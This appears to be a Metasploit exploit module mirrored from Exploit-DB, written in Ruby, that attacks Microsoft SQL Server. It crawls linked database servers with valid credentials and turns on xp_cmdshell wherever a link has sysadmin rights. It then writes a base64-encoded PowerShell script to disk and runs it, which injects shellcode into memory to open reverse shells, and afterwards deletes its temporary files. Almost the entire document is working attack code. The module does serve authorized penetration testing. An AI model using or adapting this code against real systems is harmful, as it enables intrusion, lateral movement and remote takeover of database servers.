Microsoft SQL Server – Database Link Crawling Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2012-12-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/23649/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    
    require 'msf/core'
    require 'msf/core/exploit/mssql_commands'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	include Msf::Exploit::Remote::MSSQL
    	include Msf::Auxiliary::Report
    	include Msf::Exploit::CmdStagerVBS
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Microsoft SQL Server Database Link Crawling Command Execution',
    			'Description'=> %q{
    					This module can be used to crawl MS SQL Server database links and deploy
    				Metasploit payloads through links configured with sysadmin privileges using a
    				valid SQL Server Login.
    
    					If you are attempting to obtain multiple reverse shells using this module we
    				recommend setting the "DisablePayloadHandler" advanced option to "true", and setting
    				up a multi/handler to run in the background as a job to support multiple incoming
    				shells.
    
    					If you are interested in deploying payloads to spefic servers this module also
    				supports that functionality via the "DEPLOYLIST" option.
    
    					Currently, the module is capable of delivering payloads to both 32bit and 64bit
    				Windows systems via powershell memory injection methods based on Matthew Graeber's
    				work. As a result, the target server must have powershell installed. By default,
    				all of the crawl information is saved to a CSV formatted log file and MSF loot so
    				that the tool can also be used for auditing without deploying payloads.
    			},
    			'Author' =>
    				[
    					'Antti Rantasaari <antti.rantasaari[at]netspi.com>',
    					'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'
    				],
    			'Platform'=> [ 'win' ],
    			'License'=> MSF_LICENSE,
    			'References' =>
    				[
    					['URL', 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012'],
    					['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'],
    					['URL','http://www.exploit-monday.com/2011_10_16_archive.html']
    				],
    			'Platform' => 'win',
    			'DisclosureDate' => 'Jan 1 2000',
    			'Targets'=>
    				[
    					[ 'Automatic', { } ],
    				],
    			'DefaultTarget'=> 0
    		))
    
    		register_options(
    			[
    				OptBool.new('DEPLOY', [false, 'Deploy payload via the sysadmin links', 'false']),
    				OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy to']),
    				OptString.new('PASSWORD', [true, 'The password for the specified username'])
    			], self.class)
    
    		register_advanced_options(
    			[
    				OptString.new('POWERSHELL_PATH', [true, 'Path to powershell.exe', "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe"])
    			], self.class)
    	end
    
    	def exploit
    		# Display start time
    		time1 = Time.new
    		print_status("-------------------------------------------------")
    		print_status("Start time : #{time1.inspect}")
    		print_status("-------------------------------------------------")
    
    		# Check if credentials are correct
    		print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...")
    
    		if (not mssql_login_datastore)
    			print_error("Invalid SQL Server credentials")
    			print_status("-------------------------------------------------")
    			return
    		end
    
    		# Define master array to keep track of enumerated database information
    		masterList = Array.new
    		masterList[0] = Hash.new			# Define new hash
    		masterList[0]["name"] = ""			# Name of the current database server
    		masterList[0]["db_link"] = ""		# Name of the linked database server
    		masterList[0]["db_user"] = ""	 	# User configured on the database server link
    		masterList[0]["db_sysadmin"] = ""	# Specifies ifthe database user configured for the link has sysadmin privileges
    		masterList[0]["db_version"] = ""	# Database version of the linked database server
    		masterList[0]["db_os"] = ""			# OS of the linked database server
    		masterList[0]["path"] = [[]]		# Link path used during crawl - all possible link paths stored
    		masterList[0]["done"] = 0			# Used to determine if linked need to be crawled
    
    		shelled = Array.new					# keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system
    
    		# Setup query for gathering information from database servers
    		versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\
    		(ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT\
    		(char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+\
    		CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 \
    		-charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from \
    		master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')as linkcount"
    
    		# Create loot table to store configuration information from crawled database server links
    		linked_server_table = Rex::Ui::Text::Table.new(
    			'Header'=> 'Linked Server Table',
    			'Ident' => 1,
    			'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os','link_state']
    		)
    		save_loot = ""
    
    		# Start crawling through linked database servers
    		while masterList.any? {|f| f["done"] == 0}
    			# Find the first DB server that has not been crawled (not marked as done)
    			server = masterList.detect {|f| f["done"] == 0}
    
    			# Get configuration information from the database server
    			sql = query_builder(server["path"].first,"",0,versionQuery)
    			result = mssql_query(sql, false) if mssql_login_datastore
    			parse_results = result[:rows]
    			parse_results.each { |s|
    				server["name"] = s[0]
    				server["db_user"] = s[1]
    				server["db_sysadmin"] = s[5]
    				server["db_version"] =s[3]
    				server["db_os"] = s[4]
    				server["numlinks"] = s[6]
    			}
    			if masterList.length == 1
    				print_good("Successfully connected to #{server["name"]}")
    				if datastore['VERBOSE'] == true
    					show_configs(server["name"],parse_results,true)
    				elsif server["db_sysadmin"] == 1
    					print_good("Sysadmin on #{server["name"]}")
    				end
    			end
    			if server["db_sysadmin"] == 1
    				enable_xp_cmdshell(server["path"].first,server["name"],shelled)
    			end
    
    			# If links were found, determine if they can be connected to and add to crawl list
    			if (server["numlinks"] > 0)
    				# Enable loot
    				save_loot = "yes"
    
    				# Select a list of the linked database servers that exist on the current database server
    				print_status("")
    				print_status("-------------------------------------------------")
    				print_status("Crawling links on #{server["name"]}...")
    				# Display number db server links
    				print_status("Links found: #{server["numlinks"]}")
    				print_status("-------------------------------------------------")
    				execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server'"
    				sql = query_builder(server["path"].first,"",0,execute)
    				result = mssql_query(sql, false) if mssql_login_datastore
    
    				result[:rows].each {|name|
    					name.each {|name|
    
    						# Check if link works and if sysadmin permissions - temp array to save orig server[path]
    						temppath = Array.new
    						temppath = server["path"].first.dup
    						temppath << name
    
    						# Get configuration information from the linked server
    						sql = query_builder(temppath,"",0,versionQuery)
    						result = mssql_query(sql, false) if mssql_login_datastore
    
    						# Add newly aquired db servers to the masterlist, but don't add them if the link is broken or already exists
    						if result[:errors].empty? and result[:rows] != nil then
    							# Assign db query results to variables for hash
    							parse_results = result[:rows]
    
    							# Add link server information to loot
    							link_status = 'up'
    							write_to_report(name,server,parse_results,linked_server_table,link_status)
    
    							# Display link server information in verbose mode
    							if datastore['VERBOSE'] == true
    								show_configs(name,parse_results)
    								print_status("o Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
    							else
    								if parse_results[0][5] == 1
    									print_good("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} (Sysadmin!)")
    								else
    									print_status("Link path: #{masterList.first["name"]} -> #{temppath.join(" -> ")}")
    								end
    							end
    
    							# Add link to masterlist hash
    							unless masterList.any? {|f| f["name"] == name}
    								masterList << add_host(name,server["path"].first,parse_results)
    							else
    								(0..masterList.length-1).each do |x|
    									if masterList[x]["name"] == name
    										masterList[x]["path"] << server["path"].first.dup
    										masterList[x]["path"].last << name
    										unless shelled.include?(name)
    											if parse_results[0][2]==1
    												enable_xp_cmdshell(masterList[x]["path"].last.dup,name,shelled)
    											end
    										end
    									else
    										break
    									end
    								end
    							end
    						else
    							# Add to report
    							linked_server_table << [server["name"],server["db_version"],server["db_os"],name,'NA','NA','NA','NA','Connection Failed']
    
    							# Display status to user
    							if datastore['VERBOSE'] == true
    								print_status(" ")
    								print_error("Linked Server: #{name} ")
    								print_error("o Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
    								print_status("Failure could be due to:")
    								print_status("- A dead server")
    								print_status("- Bad credentials")
    								print_status("- Nested open queries through SQL 2000")
    							else
    								print_error("Link Path: #{masterList.first["name"]} -> #{temppath.join(" -> ")} - Connection Failed")
    							end
    						end
    					}
    				}
    			end
    			# Set server to "crawled"
    			server["done"]=1
    		end
    
    		print_status("-------------------------------------------------")
    
    		# Setup table for loot
    		this_service = nil
    		if framework.db and framework.db.active
    			this_service = report_service(
    				:host=> rhost,
    				:port => rport,
    				:name => 'mssql',
    				:proto => 'tcp'
    			)
    		end
    
    		# Display end time
    		time1 = Time.new
    		print_status("End time : #{time1.inspect}")
    		print_status("-------------------------------------------------")
    
    		# Write log to loot / file
    		if (save_loot=="yes")
    			filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_linked_servers.csv"
    			path = store_loot("crawled_links", "text/plain", datastore['RHOST'], linked_server_table.to_csv, filename, "Linked servers",this_service)
    			print_status("Results have been saved to: #{path}")
    		end
    	end
    
    	# ---------------------------------------------------------------------
    	# Method that builds nested openquery statements using during crawling
    	# ---------------------------------------------------------------------
    	def query_builder(path,sql,ticks,execute)
    
    		# Temp used to maintain the original masterList[x]["path"]
    		temp = Array.new
    		path.each {|i| temp << i}
    
    		# Actual query - defined when the function originally called - ticks multiplied
    		if path.length == 0
    			return execute.gsub("'","'"*2**ticks)
    
    		# openquery generator
    		else
    			sql = "select * from openquery(\"" + temp.shift + "\"," + "'"*2**ticks + query_builder(temp,sql,ticks+1,execute) + "'"*2**ticks + ")"
    			return sql
    		end
    	end
    
    	# ---------------------------------------------------------------------
    	# Method that builds nested openquery statements using during crawling
    	# ---------------------------------------------------------------------
    	def query_builder_rpc(path,sql,ticks,execute)
    
    		# Temp used to maintain the original masterList[x]["path"]
    		temp = Array.new
    		path.each {|i| temp << i}
    
    		# Actual query - defined when the function originally called - ticks multiplied
    		if path.length == 0
    			return execute.gsub("'","'"*2**ticks)
    
    		# Openquery generator
    		else
    			exec_at = temp.shift
    			sql = "exec(" + "'"*2**ticks + query_builder_rpc(temp,sql,ticks+1,execute) + "'"*2**ticks +") at [" + exec_at + "]"
    			return sql
    		end
    	end
    
    	# ---------------------------------------------------------------------
    	# Method for adding new linked database servers to the crawl list
    	# ---------------------------------------------------------------------
    	def add_host(name,path,parse_results)
    
    		# Used to add new servers to masterList
    		server = Hash.new
    		server["name"] = name
    		temppath = Array.new
    		path.each {|i| temppath << i }
    		server["path"] = [temppath]
    		server["path"].first << name
    		server["done"] = 0
    		parse_results.each {|stuff|
    			server["db_user"] = stuff.at(1)
    			server["db_sysadmin"] = stuff.at(2)
    			server["db_version"] =stuff.at(3)
    			server["db_os"] = stuff.at(4)
    			server["numlinks"] = stuff.at(6)
    		}
    		return server
    	end
    
    	# ---------------------------------------------------------------------
    	# Method to display configuration information
    	# ---------------------------------------------------------------------
    	def show_configs(i,parse_results,entry=false)
    
    		print_status(" ")
    		parse_results.each {|stuff|
    
    			# Translate syadmin code
    			status = stuff.at(5)
    			if status == 1 then
    				dbpriv = "sysadmin"
    			else
    				dbpriv = "user"
    			end
    
    			# Display database link information
    			if entry == false
    				print_status("Linked Server: #{i}")
    				print_status("o Link user: #{stuff.at(1)}")
    				print_status("o Link privs: #{dbpriv}")
    				print_status("o Link version: #{stuff.at(3)}")
    				print_status("o Link OS: #{stuff.at(4).strip}")
    				print_status("o Links on server: #{stuff.at(6)}")
    			else
    				print_status("Server: #{i}")
    				print_status("o Server user: #{stuff.at(1)}")
    				print_status("o Server privs: #{dbpriv}")
    				print_status("o Server version: #{stuff.at(3)}")
    				print_status("o Server OS: #{stuff.at(4).strip}")
    				print_status("o Server on server: #{stuff.at(6)}")
    			end
    		}
    	end
    
    	# ---------------------------------------------------------------------
    	# Method for generating the report and loot
    	# ---------------------------------------------------------------------
    	def write_to_report(i,server,parse_results,linked_server_table,link_status)
    		parse_results.each {|stuff|
    			# Parse server information
    			db_link_user = stuff.at(1)
    			db_link_sysadmin = stuff.at(2)
    			db_link_version =stuff.at(3)
    			db_link_os = stuff.at(4)
    
    			# Add link server to the reporting array and set link_status to 'up'
    			linked_server_table << [server["name"],server["db_version"],server["db_os"],i,db_link_user,db_link_sysadmin,db_link_version,db_link_os,link_status]
    
    			return linked_server_table
    		}
    	end
    
    	# ---------------------------------------------------------------------
    	# Method for enabling xp_cmdshell
    	# ---------------------------------------------------------------------
    	def enable_xp_cmdshell(path,name,shelled)
    		# Enables "show advanced options" and xp_cmdshell if needed and possible
    		# They cannot be enabled in user transactions (i.e. via openquery)
    		# Only enabled if RPC_Out is enabled for linked server
    		# All changes are reverted after payload delivery and execution
    
    		# Check if "show advanced options" is enabled
    		execute = "select cast(value_in_use as int) FROMsys.configurations WHEREname = 'show advanced options'"
    		sql = query_builder(path,"",0,execute)
    		result = mssql_query(sql, false) if mssql_login_datastore
    		saoOrig = result[:rows].pop.pop
    
    		# Check if "xp_cmdshell" is enabled
    		execute = "select cast(value_in_use as int) FROMsys.configurations WHEREname = 'xp_cmdshell'"
    		sql = query_builder(path,"",0,execute)
    		result = mssql_query(sql, false) if mssql_login_datastore
    		xpcmdOrig = result[:rows].pop.pop
    
    		# Try blindly to enable "xp_cmdshell" on the linked server
    		# Note:
    		# This only works if rpcout is enabled for all links in the link path.
    		# If that is not the case it fails cleanly.
    		if xpcmdOrig == 0
    			if saoOrig == 0
    				# Enabling show advanced options and xp_cmdshell
    				execute = "sp_configure 'show advanced options',1;reconfigure"
    				sql = query_builder_rpc(path,"",0,execute)
    				result = mssql_query(sql, false) if mssql_login_datastore
    			end
    
    			# Enabling xp_cmdshell
    			print_status("\t - xp_cmdshell is not enabled on " + name + "... Trying to enable")
    			execute = "sp_configure 'xp_cmdshell',1;reconfigure"
    			sql = query_builder_rpc(path,"",0,execute)
    			result = mssql_query(sql, false) if mssql_login_datastore
    		end
    
    		# Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.)
    		execute = "select cast(value_in_use as int) FROMsys.configurations WHEREname = 'xp_cmdshell'"
    		sql = query_builder(path,"",0,execute)
    		result = mssql_query(sql, false) if mssql_login_datastore
    		xpcmdNow = result[:rows].pop.pop
    
    		if xpcmdNow == 1 or xpcmdOrig == 1
    			print_status("\t - Enabled xp_cmdshell on " + name) if xpcmdOrig == 0
    			if datastore['DEPLOY']
    				print_status("Ready to deploy a payload #{name}")
    				if datastore['DEPLOYLIST']==""
    					datastore['DEPLOYLIST'] = nil
    				end
    				if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
    					print_status("\t - Checking if #{name} is on the deploy list...")
    				end
    				if datastore['DEPLOYLIST'] != nil
    					deploylist = datastore['DEPLOYLIST'].upcase.split(',')
    				end
    				if datastore['DEPLOYLIST'] == nil or deploylist.include? name.upcase
    					if datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
    						print_status("\t - #{name} is on the deploy list.")
    					end
    					unless shelled.include?(name)
    						powershell_upload_exec(path)
    						shelled << name
    					else
    						print_status("Payload already deployed on #{name}")
    					end
    				elsif datastore['DEPLOYLIST'] != nil and datastore["VERBOSE"] == true
    					print_status("\t - #{name} is not on the deploy list")
    				end
    			end
    		else
    			print_error("\t - Unable to enable xp_cmdshell on " + name)
    		end
    
    		# Revert soa and xp_cmdshell to original state
    		if xpcmdOrig == 0 and xpcmdNow == 1
    			print_status("\t - Disabling xp_cmdshell on " + name)
    			execute = "sp_configure 'xp_cmdshell',0;reconfigure"
    			sql = query_builder_rpc(path,"",0,execute)
    			result = mssql_query(sql, false) if mssql_login_datastore
    		end
    		if saoOrig == 0 and xpcmdNow == 1
    			execute = "sp_configure 'show advanced options',0;reconfigure"
    			sql = query_builder_rpc(path,"",0,execute)
    			result = mssql_query(sql, false) if mssql_login_datastore
    		end
    	end
    
    	# ----------------------------------------------------------------------
    	# Method that delivers shellcode payload via powershell thread injection
    	# ----------------------------------------------------------------------
    	def powershell_upload_exec(path)
    
    		# Create powershell script that will inject shell code from the selected payload
    		myscript ="$code = @\"
    [DllImport(\"kernel32.dll\")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport(\"kernel32.dll\")]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    [DllImport(\"msvcrt.dll\")]
    public static extern IntPtr memset(IntPtr dest, uint src, uint count);
    \"@
    $winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
    [Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
    $size = 0x1000
    if ($sc.Length -gt 0x1000) {$size = $sc.Length}
    $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
    for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
    $winFunc::CreateThread(0,0,$x,0,0,0)"
    
    		# Unicode encode powershell script
    		mytext_uni = Rex::Text.to_unicode(myscript)
    
    		# Base64 encode unicode
    		mytext_64 = Rex::Text.encode_base64(mytext_uni)
    
    		# Generate random file names
    		rand_filename = rand_text_alpha(8)
    		var_duplicates = rand_text_alpha(8)
    
    		# Write base64 encoded powershell payload to temp file
    		# This is written 2500 characters at a time due to xp_cmdshell ruby function limitations
    		# Also, line number tracking was added so that duplication lines caused by nested linked
    		# queries could be found and removed.
    		print_status("Deploying payload...")
    		linenum = 0
    		mytext_64.scan(/.{1,2500}/).each {|part|
    			execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'"
    			sql = query_builder(path,"",0,execute)
    			result = mssql_query(sql, false) if mssql_login_datastore
    			linenum = linenum+1
    		}
    
    		# Remove duplicate lines from temp file and write to new file
    		execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'"
    		sql = query_builder(path,"",0,execute)
    		result = mssql_query(sql, false) if mssql_login_datastore
    
    		# Remove tracking tags from lines
    		execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'"
    		sql = query_builder(path,"",0,execute)
    		result = mssql_query(sql, false) if mssql_login_datastore
    
    		# Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors
    		# If running on 64bit system, 32bit powershell called from syswow64
    		powershell_cmd ="$temppath=(gci env:temp).value;$dacode=(gc $temppath\\#{rand_filename}) -join '';if((gci env:processor_identifier).value -like\
    		'*64*'){$psbits=\"#{datastore['POWERSHELL_PATH']} -noexit -noprofile -encodedCommand $dacode\"} else {$psbits=\"powershell.exe\
    		-noexit -noprofile -encodedCommand $dacode\"};iex $psbits"
    		powershell_uni = Rex::Text.to_unicode(powershell_cmd)
    		powershell_64 = Rex::Text.encode_base64(powershell_uni)
    
    		# Setup query
    		execute = "select 1; EXEC master..xp_cmdshell 'powershell -EncodedCommand #{powershell_64}'"
    		sql = query_builder(path,"",0,execute)
    
    		# Execute the playload
    		print_status("Executing payload...")
    		result = mssql_query(sql, false) if mssql_login_datastore
    		# Remove payload data from the target server
    		execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'"
    		sql = query_builder(path,"",0,execute)
    		result = mssql_query(sql,false)
    	end
    end